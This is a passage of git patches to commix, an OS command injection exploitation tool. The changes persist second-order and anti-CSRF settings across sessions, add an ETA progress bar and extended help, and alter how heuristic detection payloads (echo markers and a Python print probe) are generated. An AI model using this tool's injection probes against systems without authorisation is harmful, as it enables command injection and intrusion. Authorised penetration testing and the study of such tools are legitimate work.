duplicates query_check = ("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND technique = ? AND injection_type = ? AND separator = ? AND " "shell = ? AND vuln_parameter = ? AND prefix = ? AND suffix = ? AND TAG = ? AND interpreter = ? AND payload = ? AND " "http_header = ? AND http_request_method = ? AND url_time_response = ? AND timesec = ? AND exec_time = ? AND " - "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? AND tamper = ? AND target_os = ? AND web_root = ? AND tmp_path = ? LIMIT 1;") + "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? AND tamper = ? AND target_os = ? AND web_root = ? AND tmp_path = ? AND " + "second_url = ? AND second_req = ? AND csrf_token = ? LIMIT 1;") params = (str(url), str(technique), str(injection_type), str(separator), str(shell), str(vuln_parameter or ""), str(prefix), str(suffix), str(TAG), str(interpreter), str(payload), str(settings.HTTP_HEADER), str(http_request_method), int(url_time_response), int(timesec), int(exec_time), int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie), - str(menu.options.tamper or ""), str(settings.TARGET_OS), str(settings.WEB_ROOT or ""), str(menu.options.tmp_path or "")) + str(menu.options.tamper or ""), str(settings.TARGET_OS), str(settings.WEB_ROOT or ""), str(menu.options.tmp_path or ""), + str(menu.options.second_url or ""), str(menu.options.second_req or ""), str(settings.CSRF_TOKEN_ORIGINAL or "")) if settings.BASE64_PADDING in params[0]: params = (params[0].replace(settings.BASE64_PADDING, _urllib.parse.quote(settings.BASE64_PADDING)),) + params[1:] @@ -281,8 +296,9 @@ def import_injection_points(url, technique, injection_type, filename, separator, if cursor.fetchone() is None: conn.execute("INSERT INTO \"" + table + "\" (url, technique, injection_type, separator, " "shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_header, http_request_method, " - "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie, tamper, target_os, web_root, tmp_path) " - "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) + "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie, tamper, target_os, web_root, tmp_path, " + "second_url, second_req, csrf_token) " + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) conn.commit() # Mark injection checker as True to indicate session contains injection data @@ -539,6 +555,11 @@ def apply_stored_technique(row): # directory a finding that fell back to one used. web_root = row[23] if len(row) > 23 else None tmp_path = row[24] if len(row) > 24 else None + # Nor the options that say where the result of this payload is read from - without them the + # payload is replayed into a target that answers it with nothing, and says nothing about why. + second_url = row[25] if len(row) > 25 else None + second_req = row[26] if len(row) > 26 else None + csrf_token = row[27] if len(row) > 27 else None if http_header: settings.HTTP_HEADER = http_header @@ -571,6 +592,26 @@ def apply_stored_technique(row): if settings.USER_APPLIED_WEB_ROOT: announce_replay_conflict(web_root, menu.options.web_root, "document root", "--web-root") settings.WEB_ROOT = web_root + for stored, applied_name, label, switch in ((second_url, "second_url", "second-order URL", "--second-url"), + (second_req, "second_req", "second-order request file", "--second-req"), + (csrf_token, "csrf_token", "anti-CSRF token parameter", "--csrf-token")): + if not stored or stored == "None": + continue + applied = getattr(menu.options, applied_name) + if applied and str(applied) != str(stored): + announce_replay_conflict(stored, applied, label, switch) + elif not applied: + info_msg = "The stored finding was made with the " + label + " '" + str(stored) + "', which is put back for this run." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + setattr(menu.options, applied_name, stored) + + # Read back the way it was given, so what the token is looked up by is what it was found with. + if csrf_token and csrf_token != "None": + checks.set_anticsrf_token(csrf_token) + if second_req and second_req != "None" and os.path.isfile(second_req): + from src.core.parse import request as request_parser + settings.SECOND_ORDER_REQUEST = request_parser.parse_single_request(second_req, "second-order") + if tmp_path and tmp_path != "None": # Likewise the temporary directory, for a finding that fell back to one. if settings.USER_APPLIED_TMP_PATH: diff --git a/src/utils/settings.py b/src/utils/settings.py index e8b33a06aa..f20e7c4530 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "150" +REVISION = "151" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1905,6 +1905,11 @@ class END_LINE: # The request '--safe-req' was given, parsed once and replayed as it was written. SAFE_REQUEST = None +# The request '--second-req' was given: where the output of an injection shows up, rather than +# where the injection is sent. True while that page is being fetched, so it fetches nothing itself. +SECOND_ORDER_REQUEST = None +FETCHING_SECOND_ORDER = False + # Every request this run has sent, counted for the options that act every so many of them. REQUEST_COUNTER = 0 @@ -2049,7 +2054,67 @@ class END_LINE: HTTP_CONTENT_TYPE_JSON_HEADER_VALUE = "application/json" HTTP_CONTENT_TYPE_XML_HEADER_VALUE = "application/xml" # Only what the response handling can actually decompress is asked for. -HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate" +""" +The encodings a response may arrive in. + +Only what can be read back is asked for: a page that arrives in an encoding with no decoder is a +page that cannot be searched for anything, and the target has no way of knowing that. +""" +try: + from src.utils import brotli as _brotli +except ImportError: + try: + import brotli as _brotli + except ImportError: + try: + import brotlicffi as _brotli + except ImportError: + _brotli = None +try: + from compression import zstd as _zstd # Python 3.14+ carries it in the standard library +except ImportError: + _zstd = None + +try: + from src.thirdparty.chardet import detect as _detect_charset +except ImportError: + try: + from chardet import detect as _detect_charset + except ImportError: + try: + from charset_normalizer import detect as _detect_charset + except ImportError: + _detect_charset = None + +CHARSET_DETECTOR = _detect_charset +# The named entities a page may be written with, as the characters a browser would read them as - +# taken from the platform's own table rather than kept as a list of our own. +try: + from html.entities import name2codepoint as _name2codepoint +except ImportError: + from htmlentitydefs import name2codepoint as _name2codepoint +HTML_ENTITIES = dict(_name2codepoint) +# How much of a page is enough to guess what it is written in. +HEURISTIC_PAGE_SIZE_THRESHOLD = 20 * 1024 +# The charset a page declares, read out of its own head. +META_CHARSET_REGEX = r"""(?si)<head\b[^>]*>(?:(?!</head>).)*?<meta[^>]{0,300}?charset\s*=\s*["']?(?P<result>[^"'> ]+)""" +# Names a page may declare itself in that are not the names the codecs are registered under. +CHARSET_ALIASES = { + "windows-874" : "iso-8859-11", "utf-8859-1" : "utf8", "en_us" : "utf8", "macintosh" : "iso-8859-1", + "euc_tw" : "big5_tw", "th" : "tis-620", "unicode" : "utf8", "utc8" : "utf8", "ebcdic" : "ebcdic-cp-be", + "iso-8859" : "iso8859-1", "iso-8859-0" : "iso8859-1", "ansi" : "ascii", "gbk2312" : "gbk", + "windows-31j" : "cp932", "en" : "us" +} + +BROTLI_DECODER = _brotli +ZSTD_DECODER = _zstd +HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate" + (",br" if _brotli is not None else "") + (",zstd" if _zstd is not None else "") +# What is asked for instead, once a page has come back as something other than what it declared. +HTTP_ACCEPT_ENCODING_IDENTITY = "identity" +PAGE_COMPRESSION = True +# The most a page is decompressed into: a small response can name a very large one, and reading it +# whole is how a target with nothing to hide empties this machine's memory. +MAX_PAGE_SIZE = 100 * 1024 * 1024 # The web server named by the 'Server' header, and the ones that are recognised. SERVER_BANNER = "" From 1df9cbc77f02a95bac4eeb4952f968b7192f934a Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 21 Sep 2026 06:36:30 +0300 Subject: [PATCH 0813/1023] Added `--eta` for retrieval progress and time estimates, `--no-truncate` for displaying full output, and `-hh` for listing all available options, while `-h` now shows the options used during a first run. --- doc/CHANGELOG.md | 3 + src/core/controller/injector.py | 9 +++ src/core/parse/cmdline.py | 67 +++++++++++++++--- src/utils/progress.py | 116 ++++++++++++++++++++++++++++++++ src/utils/settings.py | 16 ++++- 5 files changed, 199 insertions(+), 12 deletions(-) create mode 100644 src/utils/progress.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 7af25a1b6c..cc45e90446 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,7 @@ ## Version 4.2 (TBA) +* Added: New switch `--eta` for showing how much of the output is left to retrieve and how long it is expected to take. +* Added: New switch `--no-truncate` for showing the retrieved output in full. +* Added: New switch `-hh`, with `-h` now listing the options a first run is made of. * Added: Bundled the "chardet" library and a built-in Brotli decoder to handle pages regardless of their character encoding or compression format. * Added: New options `--second-url` and `--second-req` for reading the result of an injection from the page it shows up on. * Added: New options `--csrf-token`, `--csrf-url`, `--csrf-method`, `--csrf-data` and `--csrf-retries` for testing targets that check an anti-CSRF token. diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 64100e3235..2a2f9b5e8c 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -27,6 +27,7 @@ _THREADS_SUPPORTED = False from src.core.parse import cmdline as menu from src.utils import settings +from src.utils import progress from src.core.requests import requests from src.core.requests import stability from src.utils import common @@ -642,6 +643,8 @@ def _validate_boundary(candidate): if output_length > 1 and _cached_length is None: settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + eta_bar = progress.ProgressBar(maxvalue=output_length) if menu.options.eta else None + observed_chars = set() observed_count = [0] char_frequency = {} @@ -664,6 +667,8 @@ def _render_output_so_far(): chars.append("_") if furthest == 0: return "" + if menu.options.no_truncate: + return "".join(chars[:furthest]) width = settings.PROGRESS_DISPLAY_WIDTH start = max(1, furthest - width + 1) text = "".join(chars[start - 1:furthest]) @@ -675,6 +680,10 @@ def _render_output_so_far(): # Rewrite the progress line with the characters resolved so far. def _print_progress(): + # Asked for as an estimate rather than as the text: how much is left, and how long it will take. + if eta_bar is not None: + eta_bar.progress(sum(1 for _pos in range(1, output_length + 1) if results_by_position.get(_pos) is not None)) + return if settings.VERBOSITY_LEVEL == 0: progress_msg = base_progress_msg.rstrip(".") + ": " + _render_output_so_far() settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(progress_msg)) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index bdc64c0064..f84c74fa85 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -47,7 +47,7 @@ def banner(): parser = OptionParser(usage=usage) # General options -general = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "General" + Style.RESET_ALL, +general = OptionGroup(parser, "General", "These options relate to general matters. ") general.add_option("-v", @@ -104,6 +104,18 @@ def banner(): default=None, help="Log all HTTP traffic into a textual file.") +general.add_option("--eta", + action="store_true", + dest="eta", + default=False, + help="Display for each output the estimated time of arrival.") + +general.add_option("--no-truncate", + action="store_true", + dest="no_truncate", + default=False, + help="Disable console output truncation.") + general.add_option("--time-limit", dest="time_limit", type=float, @@ -156,7 +168,7 @@ def banner(): help="Store run results to a JSON file.") # Target options -target = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Target" + Style.RESET_ALL, +target = OptionGroup(parser, "Target", "This options has to be provided, to define the target URL. ") target.add_option("-u","--url", @@ -225,7 +237,7 @@ def banner(): help="Force usage of given HTTP method (e.g. 'PUT').") # Request options -request = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Request" + Style.RESET_ALL, +request = OptionGroup(parser, "Request", "These options can be used to specify how to connect to the target URL.") @@ -530,7 +542,7 @@ def banner(): help="Ignore Set-Cookie header from response.") # Enumeration options -enumeration = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Enumeration" + Style.RESET_ALL, +enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the target host.") enumeration.add_option("--all", @@ -594,7 +606,7 @@ def banner(): help="Retrieve PowerShell's version number.") # File access options -file_access = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "File access" + Style.RESET_ALL, +file_access = OptionGroup(parser, "File access", "These options can be used to access files on the target host.") file_access.add_option("--file-read", @@ -613,7 +625,7 @@ def banner(): help="Host's absolute filepath to write to.") # Modules options -modules = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Modules" + Style.RESET_ALL, +modules = OptionGroup(parser, "Modules", "These options can be used increase the detection and/or injection capabilities.") modules.add_option("--shellshock", @@ -623,7 +635,7 @@ def banner(): help="The 'shellshock' injection module.") # Injection options -optimization = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Optimization" + Style.RESET_ALL, +optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance.") optimization.add_option("-o", @@ -646,7 +658,7 @@ def banner(): help="Max number of concurrent HTTP requests (default 1, max 10).") # Injection options -injection = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Injection" + Style.RESET_ALL, +injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to inject and to provide custom injection payloads.") injection.add_option("-p", @@ -805,7 +817,7 @@ def banner(): help="Set a local path where metasploit is installed.") # Detection options -detection = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Detection" + Style.RESET_ALL, "These options can be " +detection = OptionGroup(parser, "Detection", "These options can be " "used to customize the detection phase.") detection.add_option("--level", @@ -855,7 +867,7 @@ def banner(): help="Perform thorough tests only if positive heuristic(s).") # Miscellaneous options -misc = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Miscellaneous" + Style.RESET_ALL) +misc = OptionGroup(parser, "Miscellaneous") misc.add_option("--ignore-dependencies", action="store_true", @@ -952,6 +964,34 @@ def truncate_option_strings(self, *args): parser.formatter._format_option_strings = parser.formatter.format_option_strings parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(truncate_option_strings, parser) +parser.add_option("--hh", + action="store_true", + dest="advanced_help", + default=False, + help="Show advanced help message and exit.") + +# Listed as '-hh' beside '-h', the way the short forms are. +_advanced_help_option = parser.get_option("--hh") +_advanced_help_option._short_opts = ["-hh"] +_advanced_help_option._long_opts = [] + +""" +'-h' lists the options a first run is made of; '-hh' lists them all. +""" +_basic_help = any(_ in sys.argv for _ in ("-h", "--help")) and not any(_ in sys.argv for _ in ("-hh", "--hh")) +if any(_ in sys.argv for _ in ("-hh", "--hh")): + sys.argv = ["-h" if _ in ("-hh", "--hh") else _ for _ in sys.argv] +if _basic_help: + for _group in parser.option_groups[:]: + _shown = False + for _option in _group.option_list: + if _option.dest not in settings.BASIC_HELP_ITEMS: + _option.help = SUPPRESS + else: + _shown = True + if not _shown: + parser.option_groups.remove(_group) + option = parser.get_option("-h") option.help = option.help.capitalize().replace("Show this help message and exit", "Show help and exit.") # Listed by its short form alone, the way every other switch is, while '--help' keeps working. @@ -962,7 +1002,12 @@ def truncate_option_strings(self, *args): if _argument == "--eval": sys.argv[_index] = "--eval=" + settings.EVAL_ALL_LANGUAGES -(options, args) = parser.parse_args() +try: + (options, args) = parser.parse_args() +except SystemExit: + if _basic_help: + settings.print_data_to_stdout("\n" + Style.BRIGHT + Style.UNDERLINE + "To see the full list of options run with '-hh'." + Style.RESET_ALL + "\n") + raise # Remember whether '--web-root' was explicitly supplied on the CLI settings.USER_APPLIED_WEB_ROOT = bool(options.web_root) diff --git a/src/utils/progress.py b/src/utils/progress.py new file mode 100644 index 0000000000..91b6a19de3 --- /dev/null +++ b/src/utils/progress.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import sys +import time +import shutil +from src.utils import settings + +""" +A bar counting off what has been retrieved, and how long the rest of it is expected to take. +""" +class ProgressBar(object): + + def __init__(self, maxvalue=10, width=None): + self._min = 0 + self._max = int(maxvalue) + self._span = max(self._max - self._min, 0.001) + self._width = width or progress_width() + self._amount = 0 + # Timed from here, so the first item retrieved already gives an estimate. + self._start = time.time() + self._eta = None + self._eta_at = None + self._bar = "[]" + self.update() + + # Seconds as the minutes and seconds they are shown in. + def _as_clock(self, value): + minutes = int(value) // 60 + return "%.2d:%.2d" % (minutes, int(value) - (minutes * 60)) + + # Redraw the bar itself, for what has been retrieved so far. + def update(self, amount=0): + self._amount = min(max(amount, self._min), self._max) + done = float(self._amount - self._min) + percent = min(100, int(round((done / float(self._span)) * 100.0))) + room = max(1, self._width - len("100%% [] %s/%s (ETA 00:00)" % (self._max, self._max))) + hashes = int(round((percent / 100.0) * room)) + if hashes == 0: + self._bar = "[>" + (" " * (room - 1)) + "]" + elif hashes >= room: + self._bar = "[" + ("=" * room) + "]" + else: + self._bar = "[" + ("=" * (hashes - 1)) + ">" + (" " * (room - hashes)) + "]" + self._bar = str(percent) + "% " + self._bar + + """ + Redraw with an estimate for what is left: the time each retrieved item took, over the ones still + to come - eased into the estimate on screen, so a single slow character does not swing it. + """ + def progress(self, amount): + now = time.time() + if amount > self._max: + self._start = now + self._eta = None + done = amount - self._min + elapsed = now - self._start + target = (elapsed / done) * (self._max - amount) if (done > 0 and elapsed > 0) else None + if target is None: + self._eta = None + elif self._eta is None: + self._eta = target + else: + current = max(0, self._eta - (now - self._eta_at)) + self._eta = settings.ETA_DISPLAY_SMOOTHING * current + (1 - settings.ETA_DISPLAY_SMOOTHING) * target + self._eta_at = now + self.update(amount) + self.draw(self._eta) + + # Redraw with the estimate counted down by the time that has passed, for a wait between items. + def tick(self): + eta = None if self._eta is None else max(0, self._eta - (time.time() - self._eta_at)) + self.draw(eta) + + # Drawn only where there is a terminal to animate, and wiped once there is nothing left to count. + def draw(self, eta=None): + if not is_tty(): + return + settings.print_data_to_stdout("\r%s %d/%d (ETA %s)" % (self._bar, self._amount, self._max, + self._as_clock(eta) if eta is not None else "??:??")) + if self._amount >= self._max: + settings.print_data_to_stdout("\r" + (" " * self._width) + "\r") + # Wiped rather than ended, so what follows starts on this line instead of below a blank one. + settings.PROGRESS_LINE_OPEN = False + + def __str__(self): + return self._bar + +# Whether there is a terminal to draw on, rather than a file or a pipe being written to. +def is_tty(): + try: + return sys.stdout.isatty() + except Exception: + return False + +# The room the bar is given: what is left of the line once the counter and the estimate are on it. +def progress_width(): + try: + width = shutil.get_terminal_size().columns + except Exception: + width = settings.DEFAULT_CONSOLE_WIDTH + return max(settings.MIN_PROGRESS_WIDTH, width - 26) + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index f20e7c4530..9e56dd6129 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "151" +REVISION = "152" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -839,6 +839,13 @@ class OS(object): # The max help option length. MAX_OPTION_LENGTH = 18 +# The options '-h' lists, out of the whole set that '--hh' lists: what a first run is made of. +BASIC_HELP_ITEMS = ( + "url", "logfile", "bulkfile", "requestfile", "data", "cookie", "random_agent", "proxy", "tor", + "check_tor", "test_parameter", "level", "tech", "eval_sink", "os_cmd", "os_shell", "file_read", + "file_write", "batch", "flush_session", "wizard", "version", "verbose" +) + # Python version. PYTHON_VERSION = sys.version.split()[0] @@ -1872,6 +1879,13 @@ class END_LINE: # Max characters shown at once in the live progress line. PROGRESS_DISPLAY_WIDTH = 60 +# How much of the estimate on screen is kept when a fresh one is worked out, so that one slow +# character does not swing the countdown. +ETA_DISPLAY_SMOOTHING = 0.5 +# What the bar is given when the terminal's own width cannot be read, and the least it is drawn in. +DEFAULT_CONSOLE_WIDTH = 80 +MIN_PROGRESS_WIDTH = 20 + # Stands in for a character the time-related techniques never resolved, in the live progress line # and in the output they return - a dropped one would read as a value that was fully retrieved. UNRESOLVED_CHAR = "?" From d078b1ce09237c8af034fa2331b6f259eb4cddde Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 21 Sep 2026 08:01:44 +0300 Subject: [PATCH 0814/1023] Improved anti-CSRF token handling to refresh tokens in user-defined HTTP headers and persist the token page, method and data across sessions --- src/core/requests/anticsrf.py | 14 ++++++++++++++ src/utils/session_handler.py | 34 ++++++++++++++++++++++++++++------ src/utils/settings.py | 2 +- 3 files changed, 43 insertions(+), 7 deletions(-) diff --git a/src/core/requests/anticsrf.py b/src/core/requests/anticsrf.py index 8868ce1a8a..5f97e164d7 100644 --- a/src/core/requests/anticsrf.py +++ b/src/core/requests/anticsrf.py @@ -109,6 +109,15 @@ def adjust_parameter(param_string, name, value): return param_string[:match.start("value")] + value + param_string[match.end("value"):] return param_string +""" +Write the token into a header, wherever that header is kept. +""" +def adjust_header(raw, name, value): + if not raw: + return raw + # Anchored at the start of a header, which in a string of them is written out as an escaped newline. + return re.sub(r"(?i)((?:\A|[\r\n]|\\n)\s*" + re.escape(name) + r"\s*:\s*)[^\\\r\n]*", lambda match: match.group(1) + value, raw) + """ Put a freshly fetched token into the request that is about to be sent. @@ -172,6 +181,11 @@ def apply_token(request): for header_name in list(request.headers) + list(request.unredirected_hdrs): if header_name.lower() == token_name.lower(): request.add_unredirected_header(header_name, token_value) + # The user-defined headers are written onto the request after this point, so the value is + # refreshed where it is kept rather than on a request that does not carry it yet. + menu.options.header = adjust_header(menu.options.header, token_name, token_value) + menu.options.headers = adjust_header(menu.options.headers, token_name, token_value) + settings.RAW_HTTP_HEADERS = adjust_header(settings.RAW_HTTP_HEADERS, token_name, token_value) finally: settings.FETCHING_CSRF_TOKEN = False diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 923e8a999f..00712e8826 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -268,24 +268,27 @@ def import_injection_points(url, technique, injection_type, filename, separator, "TAG VARCHAR, interpreter VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, " "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR, tamper VARCHAR, " "target_os VARCHAR, file_deleted VARCHAR DEFAULT '', web_root VARCHAR DEFAULT '', tmp_path VARCHAR DEFAULT '', " - "second_url VARCHAR DEFAULT '', second_req VARCHAR DEFAULT '', csrf_token VARCHAR DEFAULT '');") + "second_url VARCHAR DEFAULT '', second_req VARCHAR DEFAULT '', csrf_token VARCHAR DEFAULT '', " + "csrf_url VARCHAR DEFAULT '', csrf_method VARCHAR DEFAULT '', csrf_data VARCHAR DEFAULT '');") # The options a stored payload was made with, for a session file that predates them. - _ensure_columns(conn, table, (("second_url", "VARCHAR DEFAULT ''"), ("second_req", "VARCHAR DEFAULT ''"), ("csrf_token", "VARCHAR DEFAULT ''"))) + _ensure_columns(conn, table, (("second_url", "VARCHAR DEFAULT ''"), ("second_req", "VARCHAR DEFAULT ''"), ("csrf_token", "VARCHAR DEFAULT ''"), + ("csrf_url", "VARCHAR DEFAULT ''"), ("csrf_method", "VARCHAR DEFAULT ''"), ("csrf_data", "VARCHAR DEFAULT ''"))) # Check if an exact matching record already exists to avoid duplicates query_check = ("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND technique = ? AND injection_type = ? AND separator = ? AND " "shell = ? AND vuln_parameter = ? AND prefix = ? AND suffix = ? AND TAG = ? AND interpreter = ? AND payload = ? AND " "http_header = ? AND http_request_method = ? AND url_time_response = ? AND timesec = ? AND exec_time = ? AND " "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? AND tamper = ? AND target_os = ? AND web_root = ? AND tmp_path = ? AND " - "second_url = ? AND second_req = ? AND csrf_token = ? LIMIT 1;") + "second_url = ? AND second_req = ? AND csrf_token = ? AND csrf_url = ? AND csrf_method = ? AND csrf_data = ? LIMIT 1;") params = (str(url), str(technique), str(injection_type), str(separator), str(shell), str(vuln_parameter or ""), str(prefix), str(suffix), str(TAG), str(interpreter), str(payload), str(settings.HTTP_HEADER), str(http_request_method), int(url_time_response), int(timesec), int(exec_time), int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie), str(menu.options.tamper or ""), str(settings.TARGET_OS), str(settings.WEB_ROOT or ""), str(menu.options.tmp_path or ""), - str(menu.options.second_url or ""), str(menu.options.second_req or ""), str(settings.CSRF_TOKEN_ORIGINAL or "")) + str(menu.options.second_url or ""), str(menu.options.second_req or ""), str(settings.CSRF_TOKEN_ORIGINAL or ""), + str(menu.options.csrf_url or ""), str(menu.options.csrf_method or ""), str(menu.options.csrf_data or "")) if settings.BASE64_PADDING in params[0]: params = (params[0].replace(settings.BASE64_PADDING, _urllib.parse.quote(settings.BASE64_PADDING)),) + params[1:] @@ -297,8 +300,8 @@ def import_injection_points(url, technique, injection_type, filename, separator, conn.execute("INSERT INTO \"" + table + "\" (url, technique, injection_type, separator, " "shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_header, http_request_method, " "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie, tamper, target_os, web_root, tmp_path, " - "second_url, second_req, csrf_token) " - "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) + "second_url, second_req, csrf_token, csrf_url, csrf_method, csrf_data) " + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) conn.commit() # Mark injection checker as True to indicate session contains injection data @@ -560,6 +563,9 @@ def apply_stored_technique(row): second_url = row[25] if len(row) > 25 else None second_req = row[26] if len(row) > 26 else None csrf_token = row[27] if len(row) > 27 else None + csrf_url = row[28] if len(row) > 28 else None + csrf_method = row[29] if len(row) > 29 else None + csrf_data = row[30] if len(row) > 30 else None if http_header: settings.HTTP_HEADER = http_header @@ -605,6 +611,22 @@ def apply_stored_technique(row): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) setattr(menu.options, applied_name, stored) + # Where the token was read from, which a restored token name is of little use without. + if csrf_url and csrf_url != "None": + if menu.options.csrf_url and menu.options.csrf_url != csrf_url: + announce_replay_conflict(csrf_url, menu.options.csrf_url, "anti-CSRF token page", "--csrf-url") + elif not menu.options.csrf_url: + info_msg = "The stored finding was made with the anti-CSRF token page '" + str(csrf_url) + "'" + if csrf_method and csrf_method != "None": + info_msg += " (" + str(csrf_method).upper() + (" '" + str(csrf_data) + "'" if csrf_data and csrf_data != "None" else "") + ")" + info_msg += ", which is put back for this run." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + menu.options.csrf_url = csrf_url + if csrf_method and csrf_method != "None": + menu.options.csrf_method = csrf_method + if csrf_data and csrf_data != "None": + menu.options.csrf_data = csrf_data + # Read back the way it was given, so what the token is looked up by is what it was found with. if csrf_token and csrf_token != "None": checks.set_anticsrf_token(csrf_token) diff --git a/src/utils/settings.py b/src/utils/settings.py index 9e56dd6129..052f6846c2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "152" +REVISION = "153" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 48a314b721f39d7eeb1083fd349747a4c5be1208 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 21 Sep 2026 15:07:22 +0300 Subject: [PATCH 0815/1023] Fixed switch `--skip-calc` handling across heuristic, false-positive re-check and out-of-band tests --- doc/CHANGELOG.md | 1 + src/core/controller/controller.py | 22 +++++++++++++++++----- src/core/controller/handler.py | 16 ++++++++++++---- src/core/options.py | 2 +- src/core/techniques/classic/cb_payloads.py | 12 ++++++------ src/core/techniques/oob/oob_payloads.py | 22 +++++++++++++++++----- src/utils/settings.py | 2 +- 7 files changed, 55 insertions(+), 22 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index cc45e90446..067d433011 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Switch `--skip-calc` handling across heuristic, false-positive re-check and out-of-band tests. * Added: New switch `--eta` for showing how much of the output is left to retrieve and how long it is expected to take. * Added: New switch `--no-truncate` for showing the retrieved output in full. * Added: New switch `-hh`, with `-h` now listing the options a first run is made of. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 9e5b06f8bf..0461dd19b4 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -52,6 +52,7 @@ def basic_payload_generator(): calc_string = str(rand_a) + "+" + str(rand_b) marker1 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) marker2 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + marker3 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) suffix = "" if settings.USE_BACKTICKS: @@ -62,14 +63,25 @@ def basic_payload_generator(): else: prefix = "(" suffix = ")" - settings.BASIC_STRING = prefix + calc_string + suffix - alter_interpreter_basic_string = " -c \"print(int(" + calc_string + "))\"" + + if settings.SKIP_CALC: + # '--skip-calc' covers the detection phase, and the heuristic is part of it - so what the target + # has to print back between the markers is a marker it had to run a command to produce. + expected = marker3 + settings.BASIC_STRING = "echo " + marker3 + windows_proof = "echo " + marker3 + alter_interpreter_basic_string = " -c \"print('" + marker3 + "')\"" + else: + expected = str(rand_a + rand_b) + 